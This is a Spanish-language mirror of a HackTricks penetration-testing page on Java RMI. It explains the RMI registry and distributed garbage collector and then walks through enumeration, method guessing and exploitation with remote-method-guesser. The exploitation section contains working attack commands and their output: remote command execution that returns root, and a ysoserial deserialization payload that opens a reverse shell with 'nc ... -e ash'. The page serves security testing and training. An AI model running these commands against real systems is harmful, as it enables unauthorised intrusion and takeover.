Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 13:13:41 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/1099-pentesting-java-rmi.md

20 KiB
Raw Blame History

1098/1099/1050 - Pentesting Java RMI - RMI-IIOP

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


Utiliza Trickest para construir y automatizar flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.
Obtén acceso hoy mismo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Información básica

La Invocación Remota de Métodos de Java, o Java RMI, es un mecanismo de RPC orientado a objetos que permite que un objeto ubicado en una máquina virtual de Java llame a métodos en un objeto ubicado en otra máquina virtual de Java. Esto permite a los desarrolladores escribir aplicaciones distribuidas utilizando un paradigma orientado a objetos. Una breve introducción a Java RMI desde una perspectiva ofensiva se puede encontrar en esta charla de blackhat.

Puerto predeterminado: 1090,1098,1099,1199,4443-4446,8999-9010,9999

PORT      STATE SERVICE      VERSION
1090/tcp  open  ssl/java-rmi Java RMI
9010/tcp  open  java-rmi     Java RMI
37471/tcp open  java-rmi     Java RMI
40259/tcp open  ssl/java-rmi Java RMI

Por lo general, solo los componentes predeterminados de Java RMI (el Registro RMI y el Sistema de Activación) están vinculados a puertos comunes. Los objetos remotos que implementan la aplicación RMI real suelen estar vinculados a puertos aleatorios, como se muestra en la salida anterior.

A veces, nmap tiene problemas para identificar servicios RMI protegidos por SSL. Si encuentras un servicio ssl desconocido en un puerto RMI común, debes investigar más a fondo.

Componentes de RMI

En términos sencillos, Java RMI permite que un desarrollador ponga un objeto Java disponible en la red. Esto abre un puerto TCP donde los clientes pueden conectarse y llamar a métodos en el objeto correspondiente. A pesar de que esto suena simple, hay varios desafíos que Java RMI necesita resolver:

  1. Para despachar una llamada de método a través de Java RMI, los clientes necesitan conocer la dirección IP, el puerto de escucha, la clase o interfaz implementada y el ObjID del objeto objetivo (el ObjID es un identificador único y aleatorio que se crea cuando el objeto se pone disponible en la red. Se requiere porque Java RMI permite que múltiples objetos escuchen en el mismo puerto TCP).
  2. Los clientes remotos pueden asignar recursos en el servidor invocando métodos en el objeto expuesto. La máquina virtual de Java necesita rastrear qué recursos siguen en uso y cuáles pueden ser recolectados por el recolector de basura.

El primer desafío se resuelve mediante el registro RMI, que es básicamente un servicio de nombres para Java RMI. El registro RMI en sí mismo también es un servicio RMI, pero la interfaz implementada y el ObjID son fijos y conocidos por todos los clientes RMI. Esto permite que los clientes RMI consuman el registro RMI solo conociendo el puerto TCP correspondiente.

Cuando los desarrolladores quieren hacer que sus objetos Java estén disponibles en la red, generalmente los vinculan a un registro RMI. El registro almacena toda la información necesaria para conectarse al objeto (dirección IP, puerto de escucha, clase o interfaz implementada y el valor ObjID) y lo pone disponible bajo un nombre legible para los humanos (el "nombre vinculado"). Los clientes que desean consumir el servicio RMI solicitan al registro RMI el nombre vinculado correspondiente y el registro devuelve toda la información necesaria para conectarse. Por lo tanto, la situación es básicamente la misma que con un servicio DNS ordinario. El siguiente ejemplo muestra un pequeño ejemplo:

import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;

public class ExampleClient {

private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";

public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost);     // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName);  // Lookup the desired bound name
String response = ref.remoteMethod();                           // Call a remote method

} catch( Exception e) {
e.printStackTrace();
}
}
}

El segundo de los desafíos mencionados se resuelve mediante el Distributed Garbage Collector (DGC). Este es otro servicio RMI con un valor de ObjID conocido y está disponible en prácticamente cada punto final de RMI. Cuando un cliente RMI comienza a usar un servicio RMI, envía una información al DGC de que el objeto remoto correspondiente está en uso. El DGC puede entonces realizar un seguimiento del recuento de referencias y es capaz de limpiar los objetos no utilizados.

Junto con el sistema de activación obsoleto, estos son los tres componentes predeterminados de Java RMI:

  1. El RMI Registry (ObjID = 0)
  2. El sistema de activación (ObjID = 1)
  3. El Distributed Garbage Collector (ObjID = 2)

Los componentes predeterminados de Java RMI han sido vectores de ataque conocidos durante bastante tiempo y existen múltiples vulnerabilidades en versiones desactualizadas de Java. Desde la perspectiva de un atacante, estos componentes predeterminados son interesantes porque implementan clases/interfaces conocidas y es fácil interactuar con ellos. Esta situación es diferente para los servicios RMI personalizados. Para llamar a un método en un objeto remoto, es necesario conocer de antemano la firma del método correspondiente. Sin conocer una firma de método existente, no hay forma de comunicarse con un servicio RMI.

Enumeración de RMI

remote-method-guesser es un escáner de vulnerabilidades de Java RMI que es capaz de identificar automáticamente vulnerabilidades comunes de RMI. Siempre que identifiques un punto final de RMI, deberías probarlo:

$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] 	- legacy-service
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] 	- plain-server
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] 	- http://iinsecure.dev/well-hidden-development-folder/
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] 	- Caught ClassNotFoundException during lookup call.
[+] 	  --> The type java.lang.String is unmarshalled via readObject().
[+] 	  Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] 	- Caught MalformedURLException during lookup call.
[+] 	  --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] 	  Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] 	- Caught NotBoundException during unbind call (unbind was accepeted).
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] 	- Security Manager rejected access to the class loader.
[+] 	  --> The server does use a Security Manager.
[+] 	  Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] 	- Caught IllegalArgumentException after sending An Trinh gadget.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] 	- Caught IllegalArgumentException during activate call (activator is present).
[+] 	  --> Deserialization allowed	 - Vulnerability Status: Vulnerable
[+] 	  --> Client codebase enabled	 - Configuration Status: Non Default

La salida de la acción de enumeración se explica con más detalle en las páginas de documentación del proyecto. Dependiendo del resultado, debes intentar verificar las vulnerabilidades identificadas.

Los valores ObjID mostrados por remote-method-guesser se pueden utilizar para determinar el tiempo de actividad del servicio. Esto puede permitir identificar otras vulnerabilidades:

$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: 		-4004948013687638236
[+] UID:
[+] 	Unique: 	1442798173
[+] 	Time: 		1640761503828 (Dec 29,2021 08:05)
[+] 	Count: 		-32760

Fuerza bruta en métodos remotos

Incluso cuando no se han identificado vulnerabilidades durante la enumeración, los servicios RMI disponibles aún podrían exponer funciones peligrosas. Además, a pesar de que la comunicación RMI a componentes predeterminados de RMI está protegida por filtros de deserialización, cuando se trata de servicios RMI personalizados, generalmente no se aplican dichos filtros. Conocer las firmas de métodos válidos en los servicios RMI es, por lo tanto, valioso.

Desafortunadamente, Java RMI no admite la enumeración de métodos en objetos remotos. Dicho esto, es posible forzar las firmas de métodos con herramientas como remote-method-guesser o rmiscout:

$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[6562 / 6562] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server2 == plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- legacy-service
[+] 		--> void logMessage(int dummy1, String dummy2)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 		--> String login(java.util.HashMap dummy1)

Los métodos identificados pueden ser llamados de la siguiente manera:

$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)

O puedes realizar ataques de deserialización de la siguiente manera:

$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] 	Using non primitive argument type java.lang.String on position 0
[+] 	Specified method signature is String execute(String dummy)
[+]
[+] 	Caught ClassNotFoundException during deserialization attack.
[+] 	Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] 	Deserialization attack probably worked :)

$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)

Más información se puede encontrar en estos artículos:

Además de adivinar, también debes buscar en motores de búsqueda o en GitHub la interfaz o incluso la implementación de un servicio RMI encontrado. El nombre vinculado y el nombre de la clase o interfaz implementada pueden ser útiles aquí.

Interfaces Conocidas

remote-method-guesser marca las clases o interfaces como conocidas si están listadas en la base de datos interna de servicios RMI conocidos de la herramienta. En estos casos, puedes usar la acción conocida para obtener más información sobre el servicio RMI correspondiente:

$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: localhost:41695  TLS: no  ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]

$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] 	JMX Server
[+]
[+] Class Name:
[+] 	- javax.management.remote.rmi.RMIServerImpl_Stub
[+] 	- javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] 	Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] 	This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] 	method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] 	value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] 	actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] 	- String getVersion()
[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		MLet
[+]
[+] 	Description:
[+] 		MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] 		other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] 		is therefore most of the time equivalent to remote code execution.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		Deserialization
[+]
[+] 	Description:
[+] 		Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] 		method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] 		actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] 		establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter

Shodan

  • port:1099 java

Herramientas

Comandos Automáticos de HackTricks

Protocol_Name: Java RMI                                        #Protocol Abbreviation if there is one.
Port_Number:  1090,1098,1099,1199,4443-4446,8999-9010,9999     #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation            #Protocol Abbreviation Spelled out

Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}


Utiliza Trickest para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.
Obtén acceso hoy mismo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥